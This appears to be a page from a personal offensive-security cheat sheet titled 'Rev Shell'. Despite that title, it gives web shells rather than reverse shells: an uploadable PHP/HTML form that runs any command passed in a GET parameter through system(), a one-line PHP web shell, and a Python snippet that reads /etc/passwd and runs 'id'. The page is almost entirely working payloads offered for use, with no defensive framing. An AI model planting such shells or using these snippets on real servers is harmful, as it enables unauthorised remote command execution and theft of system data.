> For the complete documentation index, see [llms.txt](https://jays-organization-22.gitbook.io/splitunknown/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://jays-organization-22.gitbook.io/splitunknown/rev_shell.md).

# Rev Shell

### PHP Rev shell

upload html file

```html
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="text" name="command" autofocus id="command" size="50">
<input type="submit" value="Execute">
</form>
<pre>
<?php
    if(isset($_GET['command'])) 
    {
        system($_GET['command'] . ' 2>&1'); 
    }
?>
</pre>
</body>
</html>
```

php oneliner

```php
<?php system($_GET['cmd']) ?>
```

### python

```python3
f = open("/etc/passwd", "r")
print(f.read()) 
print(__import__("os").getcwd())
print(__import__("os").listdir('/'))
print(__import__("os").popen("id").read())
```
